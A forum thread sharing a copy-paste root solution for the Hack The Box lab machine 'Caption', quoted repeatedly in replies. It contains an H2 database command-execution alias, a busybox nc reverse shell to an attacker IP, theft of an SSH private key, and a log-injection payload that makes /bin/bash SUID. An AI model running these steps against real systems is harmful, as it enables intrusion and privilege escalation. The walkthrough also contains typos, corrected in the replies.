CAPTION HACKTHEBOX Quick USER AND ROOT FREE
by trevor69000 - Sunday September 15, 2024 at 11:15 AM
#1
Solution to root was provided by Mr.Ssh 

```http://caption.htb:8080/admin/dbviewer``` root:root in sql put ```mysql DROP ALIAS IF EXISTS EXECVE; CREATE ALIAS EXECVE AS $$ String execve(String cmd) throws java.io.IOException {     java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A");     return s.hasNext() ? s.next() : "";  }$$; ``` after that ``` SELECT EXECVE('cat /home/Margo/user.txt')``` you get user flag for root ```SELECT EXECVE('busybox nc 10.10.x.x 4444 -e /bin/bash');``` ``` nc -lnvp 4444``` Get margo shell ```python3 -c 'import pty; pty.spawn("/bin/bash")' ``` After that ``` cd .ssh cat id_edsca Copy it very carefully Save it chmod 600 id_edsca ``` then ```ssh -i id_ecdsa -L 9090:127.0.0.1:9090 margo@caption.htb``` Create this file on /tmp/malicious.log on the remote machine: ```127.0.0.1 "user-agent":"'; /bin/bash /tmp/payload.sh #"``` Create this file on /tmp/payload.sh on the remote machine: ```chmod +s /bin/bash``` On your machine Create a file named log_service.thrift with the following content: ```namespace go log_service service LogService {     string ReadLogFile(1: string filePath) } ``` then pip3 install thrift Then cd gen-py and create this file as client.py: ```python from thrift import Thrift from thrift.transport import TSocket from thrift.transport import TTransport from thrift.protocol import TBinaryProtocol from log_service import LogService  # Import generated Thrift client code def main():     # Set up a transport to the server     transport = TSocket.TSocket('localhost', 9090)     # Buffering for performance     transport = TTransport.TBufferedTransport(transport)     # Using a binary protocol     protocol = TBinaryProtocol.TBinaryProtocol(transport)     # Create a client to use the service     client = LogService.Client(protocol)     # Open the connection     transport.open()     try:         # Specify the log file path to process         log_file_path = "/tmp/malicious.log"                 # Call the remote method ReadLogFile and get the result         response = client.ReadLogFile(log_file_path)         print("Server response:", response)         except Thrift.TException as tx:         print(f"Thrift exception: {tx}")     # Close the transport     transport.close() if __name__ == '__main__':     main() ``` finally go to margo machine and run ```/bin/bash -p``` you are root ```cat /root/root.txt```
Reply
#2
(09-15-2024, 11:15 AM)trevor69000 Wrote: Solution to root was provided by Mr.Ssh 

```http://caption.htb:8080/admin/dbviewer``` root:root in sql put ```mysql DROP ALIAS IF EXISTS EXECVE; CREATE ALIAS EXECVE AS $$ String execve(String cmd) throws java.io.IOException {     java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A");     return s.hasNext() ? s.next() : "";  }$$; ``` after that ``` SELECT EXECVE('cat /home/Margo/user.txt')``` you get user flag for root ```SELECT EXECVE('busybox nc 10.10.x.x 4444 -e /bin/bash');``` ``` nc -lnvp 4444``` Get margo shell ```python3 -c 'import pty; pty.spawn("/bin/bash")' ``` After that ``` cd .ssh cat id_edsca Copy it very carefully Save it chmod 600 id_edsca ``` then ```ssh -i id_ecdsa -L 9090:127.0.0.1:9090 margo@caption.htb``` Create this file on /tmp/malicious.log on the remote machine: ```127.0.0.1 "user-agent":"'; /bin/bash /tmp/payload.sh #"``` Create this file on /tmp/payload.sh on the remote machine: ```chmod +s /bin/bash``` On your machine Create a file named log_service.thrift with the following content: ```namespace go log_service service LogService {     string ReadLogFile(1: string filePath) } ``` then pip3 install thrift Then cd gen-py and create this file as client.py: ```python from thrift import Thrift from thrift.transport import TSocket from thrift.transport import TTransport from thrift.protocol import TBinaryProtocol from log_service import LogService  # Import generated Thrift client code def main():     # Set up a transport to the server     transport = TSocket.TSocket('localhost', 9090)     # Buffering for performance     transport = TTransport.TBufferedTransport(transport)     # Using a binary protocol     protocol = TBinaryProtocol.TBinaryProtocol(transport)     # Create a client to use the service     client = LogService.Client(protocol)     # Open the connection     transport.open()     try:         # Specify the log file path to process         log_file_path = "/tmp/malicious.log"                 # Call the remote method ReadLogFile and get the result         response = client.ReadLogFile(log_file_path)         print("Server response:", response)         except Thrift.TException as tx:         print(f"Thrift exception: {tx}")     # Close the transport     transport.close() if __name__ == '__main__':     main() ``` finally go to margo machine and run ```/bin/bash -p``` you are root ```cat /root/root.txt```

You can also directly get the ssh keys without getting an unstable shell.
SELECT EXECVE('cat /home/Margo/.ssh/id_ecdsa')
Reply
#3
(09-15-2024, 11:21 AM)macavitysworld Wrote:
(09-15-2024, 11:15 AM)trevor69000 Wrote: Solution to root was provided by Mr.Ssh 

```http://caption.htb:8080/admin/dbviewer``` root:root in sql put ```mysql DROP ALIAS IF EXISTS EXECVE; CREATE ALIAS EXECVE AS $$ String execve(String cmd) throws java.io.IOException {     java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A");     return s.hasNext() ? s.next() : "";  }$$; ``` after that ``` SELECT EXECVE('cat /home/Margo/user.txt')``` you get user flag for root ```SELECT EXECVE('busybox nc 10.10.x.x 4444 -e /bin/bash');``` ``` nc -lnvp 4444``` Get margo shell ```python3 -c 'import pty; pty.spawn("/bin/bash")' ``` After that ``` cd .ssh cat id_edsca Copy it very carefully Save it chmod 600 id_edsca ``` then ```ssh -i id_ecdsa -L 9090:127.0.0.1:9090 margo@caption.htb``` Create this file on /tmp/malicious.log on the remote machine: ```127.0.0.1 "user-agent":"'; /bin/bash /tmp/payload.sh #"``` Create this file on /tmp/payload.sh on the remote machine: ```chmod +s /bin/bash``` On your machine Create a file named log_service.thrift with the following content: ```namespace go log_service service LogService {     string ReadLogFile(1: string filePath) } ``` then pip3 install thrift Then cd gen-py and create this file as client.py: ```python from thrift import Thrift from thrift.transport import TSocket from thrift.transport import TTransport from thrift.protocol import TBinaryProtocol from log_service import LogService  # Import generated Thrift client code def main():     # Set up a transport to the server     transport = TSocket.TSocket('localhost', 9090)     # Buffering for performance     transport = TTransport.TBufferedTransport(transport)     # Using a binary protocol     protocol = TBinaryProtocol.TBinaryProtocol(transport)     # Create a client to use the service     client = LogService.Client(protocol)     # Open the connection     transport.open()     try:         # Specify the log file path to process         log_file_path = "/tmp/malicious.log"                 # Call the remote method ReadLogFile and get the result         response = client.ReadLogFile(log_file_path)         print("Server response:", response)         except Thrift.TException as tx:         print(f"Thrift exception: {tx}")     # Close the transport     transport.close() if __name__ == '__main__':     main() ``` finally go to margo machine and run ```/bin/bash -p``` you are root ```cat /root/root.txt```

You can also directly get the ssh keys without getting an unstable shell.
SELECT EXECVE('cat /home/Margo/.ssh/id_ecdsa')
Yess
Reply
#4
it actually worked
Reply
#5
(09-15-2024, 11:21 AM)macavitysworld Wrote:
(09-15-2024, 11:15 AM)trevor69000 Wrote: Solution to root was provided by Mr.Ssh 

```http://caption.htb:8080/admin/dbviewer``` root:root in sql put ```mysql DROP ALIAS IF EXISTS EXECVE; CREATE ALIAS EXECVE AS $$ String execve(String cmd) throws java.io.IOException {     java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A");     return s.hasNext() ? s.next() : "";  }$$; ``` after that ``` SELECT EXECVE('cat /home/Margo/user.txt')``` you get user flag for root ```SELECT EXECVE('busybox nc 10.10.x.x 4444 -e /bin/bash');``` ``` nc -lnvp 4444``` Get margo shell ```python3 -c 'import pty; pty.spawn("/bin/bash")' ``` After that ``` cd .ssh cat id_edsca Copy it very carefully Save it chmod 600 id_edsca ``` then ```ssh -i id_ecdsa -L 9090:127.0.0.1:9090 margo@caption.htb``` Create this file on /tmp/malicious.log on the remote machine: ```127.0.0.1 "user-agent":"'; /bin/bash /tmp/payload.sh #"``` Create this file on /tmp/payload.sh on the remote machine: ```chmod +s /bin/bash``` On your machine Create a file named log_service.thrift with the following content: ```namespace go log_service service LogService {     string ReadLogFile(1: string filePath) } ``` then pip3 install thrift Then cd gen-py and create this file as client.py: ```python from thrift import Thrift from thrift.transport import TSocket from thrift.transport import TTransport from thrift.protocol import TBinaryProtocol from log_service import LogService  # Import generated Thrift client code def main():     # Set up a transport to the server     transport = TSocket.TSocket('localhost', 9090)     # Buffering for performance     transport = TTransport.TBufferedTransport(transport)     # Using a binary protocol     protocol = TBinaryProtocol.TBinaryProtocol(transport)     # Create a client to use the service     client = LogService.Client(protocol)     # Open the connection     transport.open()     try:         # Specify the log file path to process         log_file_path = "/tmp/malicious.log"                 # Call the remote method ReadLogFile and get the result         response = client.ReadLogFile(log_file_path)         print("Server response:", response)         except Thrift.TException as tx:         print(f"Thrift exception: {tx}")     # Close the transport     transport.close() if __name__ == '__main__':     main() ``` finally go to margo machine and run ```/bin/bash -p``` you are root ```cat /root/root.txt```

You can also directly get the ssh keys without getting an unstable shell.
SELECT EXECVE('cat /home/Margo/.ssh/id_ecdsa')

At first I received some errors, but it worked later
Reply
#6
for more boxes you can join here https://t.me/yeswehackthebox
Reply
#7
(09-15-2024, 11:15 AM)trevor69000 Wrote: Solution to root was provided by Mr.Ssh 

```http://caption.htb:8080/admin/dbviewer``` root:root in sql put ```mysql DROP ALIAS IF EXISTS EXECVE; CREATE ALIAS EXECVE AS $$ String execve(String cmd) throws java.io.IOException {     java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A");     return s.hasNext() ? s.next() : "";  }$$; ``` after that ``` SELECT EXECVE('cat /home/Margo/user.txt')``` you get user flag for root ```SELECT EXECVE('busybox nc 10.10.x.x 4444 -e /bin/bash');``` ``` nc -lnvp 4444``` Get margo shell ```python3 -c 'import pty; pty.spawn("/bin/bash")' ``` After that ``` cd .ssh cat id_edsca Copy it very carefully Save it chmod 600 id_edsca ``` then ```ssh -i id_ecdsa -L 9090:127.0.0.1:9090 margo@caption.htb``` Create this file on /tmp/malicious.log on the remote machine: ```127.0.0.1 "user-agent":"'; /bin/bash /tmp/payload.sh #"``` Create this file on /tmp/payload.sh on the remote machine: ```chmod +s /bin/bash``` On your machine Create a file named log_service.thrift with the following content: ```namespace go log_service service LogService {     string ReadLogFile(1: string filePath) } ``` then pip3 install thrift Then cd gen-py and create this file as client.py: ```python from thrift import Thrift from thrift.transport import TSocket from thrift.transport import TTransport from thrift.protocol import TBinaryProtocol from log_service import LogService  # Import generated Thrift client code def main():     # Set up a transport to the server     transport = TSocket.TSocket('localhost', 9090)     # Buffering for performance     transport = TTransport.TBufferedTransport(transport)     # Using a binary protocol     protocol = TBinaryProtocol.TBinaryProtocol(transport)     # Create a client to use the service     client = LogService.Client(protocol)     # Open the connection     transport.open()     try:         # Specify the log file path to process         log_file_path = "/tmp/malicious.log"                 # Call the remote method ReadLogFile and get the result         response = client.ReadLogFile(log_file_path)         print("Server response:", response)         except Thrift.TException as tx:         print(f"Thrift exception: {tx}")     # Close the transport     transport.close() if __name__ == '__main__':     main() ``` finally go to margo machine and run ```/bin/bash -p``` you are root ```cat /root/root.txt```

You are missing the step:
thrift --gen py log_service.thrift  to make it loadable in a python script.
Reply
#8
(09-15-2024, 02:19 PM)FallenAngel Wrote:
(09-15-2024, 11:15 AM)trevor69000 Wrote: Solution to root was provided by Mr.Ssh 

```http://caption.htb:8080/admin/dbviewer``` root:root in sql put ```mysql DROP ALIAS IF EXISTS EXECVE; CREATE ALIAS EXECVE AS $$ String execve(String cmd) throws java.io.IOException {     java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A");     return s.hasNext() ? s.next() : "";  }$$; ``` after that ``` SELECT EXECVE('cat /home/Margo/user.txt')``` you get user flag for root ```SELECT EXECVE('busybox nc 10.10.x.x 4444 -e /bin/bash');``` ``` nc -lnvp 4444``` Get margo shell ```python3 -c 'import pty; pty.spawn("/bin/bash")' ``` After that ``` cd .ssh cat id_edsca Copy it very carefully Save it chmod 600 id_edsca ``` then ```ssh -i id_ecdsa -L 9090:127.0.0.1:9090 margo@caption.htb``` Create this file on /tmp/malicious.log on the remote machine: ```127.0.0.1 "user-agent":"'; /bin/bash /tmp/payload.sh #"``` Create this file on /tmp/payload.sh on the remote machine: ```chmod +s /bin/bash``` On your machine Create a file named log_service.thrift with the following content: ```namespace go log_service service LogService {     string ReadLogFile(1: string filePath) } ``` then pip3 install thrift Then cd gen-py and create this file as client.py: ```python from thrift import Thrift from thrift.transport import TSocket from thrift.transport import TTransport from thrift.protocol import TBinaryProtocol from log_service import LogService  # Import generated Thrift client code def main():     # Set up a transport to the server     transport = TSocket.TSocket('localhost', 9090)     # Buffering for performance     transport = TTransport.TBufferedTransport(transport)     # Using a binary protocol     protocol = TBinaryProtocol.TBinaryProtocol(transport)     # Create a client to use the service     client = LogService.Client(protocol)     # Open the connection     transport.open()     try:         # Specify the log file path to process         log_file_path = "/tmp/malicious.log"                 # Call the remote method ReadLogFile and get the result         response = client.ReadLogFile(log_file_path)         print("Server response:", response)         except Thrift.TException as tx:         print(f"Thrift exception: {tx}")     # Close the transport     transport.close() if __name__ == '__main__':     main() ``` finally go to margo machine and run ```/bin/bash -p``` you are root ```cat /root/root.txt```

You are missing the step:
thrift --gen py log_service.thrift  to make it loadable in a python script.

my bad
Reply
#9
(09-15-2024, 02:26 PM)trevor69000 Wrote:
(09-15-2024, 02:19 PM)FallenAngel Wrote:
(09-15-2024, 11:15 AM)trevor69000 Wrote: Solution to root was provided by Mr.Ssh 

```http://caption.htb:8080/admin/dbviewer``` root:root in sql put ```mysql DROP ALIAS IF EXISTS EXECVE; CREATE ALIAS EXECVE AS $$ String execve(String cmd) throws java.io.IOException {     java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A");     return s.hasNext() ? s.next() : "";  }$$; ``` after that ``` SELECT EXECVE('cat /home/Margo/user.txt')``` you get user flag for root ```SELECT EXECVE('busybox nc 10.10.x.x 4444 -e /bin/bash');``` ``` nc -lnvp 4444``` Get margo shell ```python3 -c 'import pty; pty.spawn("/bin/bash")' ``` After that ``` cd .ssh cat id_edsca Copy it very carefully Save it chmod 600 id_edsca ``` then ```ssh -i id_ecdsa -L 9090:127.0.0.1:9090 margo@caption.htb``` Create this file on /tmp/malicious.log on the remote machine: ```127.0.0.1 "user-agent":"'; /bin/bash /tmp/payload.sh #"``` Create this file on /tmp/payload.sh on the remote machine: ```chmod +s /bin/bash``` On your machine Create a file named log_service.thrift with the following content: ```namespace go log_service service LogService {     string ReadLogFile(1: string filePath) } ``` then pip3 install thrift Then cd gen-py and create this file as client.py: ```python from thrift import Thrift from thrift.transport import TSocket from thrift.transport import TTransport from thrift.protocol import TBinaryProtocol from log_service import LogService  # Import generated Thrift client code def main():     # Set up a transport to the server     transport = TSocket.TSocket('localhost', 9090)     # Buffering for performance     transport = TTransport.TBufferedTransport(transport)     # Using a binary protocol     protocol = TBinaryProtocol.TBinaryProtocol(transport)     # Create a client to use the service     client = LogService.Client(protocol)     # Open the connection     transport.open()     try:         # Specify the log file path to process         log_file_path = "/tmp/malicious.log"                 # Call the remote method ReadLogFile and get the result         response = client.ReadLogFile(log_file_path)         print("Server response:", response)         except Thrift.TException as tx:         print(f"Thrift exception: {tx}")     # Close the transport     transport.close() if __name__ == '__main__':     main() ``` finally go to margo machine and run ```/bin/bash -p``` you are root ```cat /root/root.txt```

You are missing the step:
thrift --gen py log_service.thrift  to make it loadable in a python script.

my bad

No worries, great summary anyway! Cheers!
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  Hack the box Pro Labs, VIP, VIP+ 1 month free Method RedBlock 22 3,924 06-25-2026, 02:15 PM
Last Post: hashxyz
  [FREE] HackTheBox Academy - CBBH CDSA CPTS All Modules Flags Techtom 19 4,174 06-25-2026, 12:30 PM
Last Post: hashxyz
  [FREE] CPTS 12 FLAGS pulsebreaker 60 3,062 06-24-2026, 04:35 PM
Last Post: subscribar60
  [FREE] 300+ Writeups PDF HackTheBox/HTB premium retired Tamarisk 360 90,726 03-28-2026, 09:28 AM
Last Post: catsweet
  [FREE] HTB-ProLabs APTLABS Just Flags kewlsunny 23 4,227 03-28-2026, 03:30 AM
Last Post: lulaladrow



 Users browsing this thread: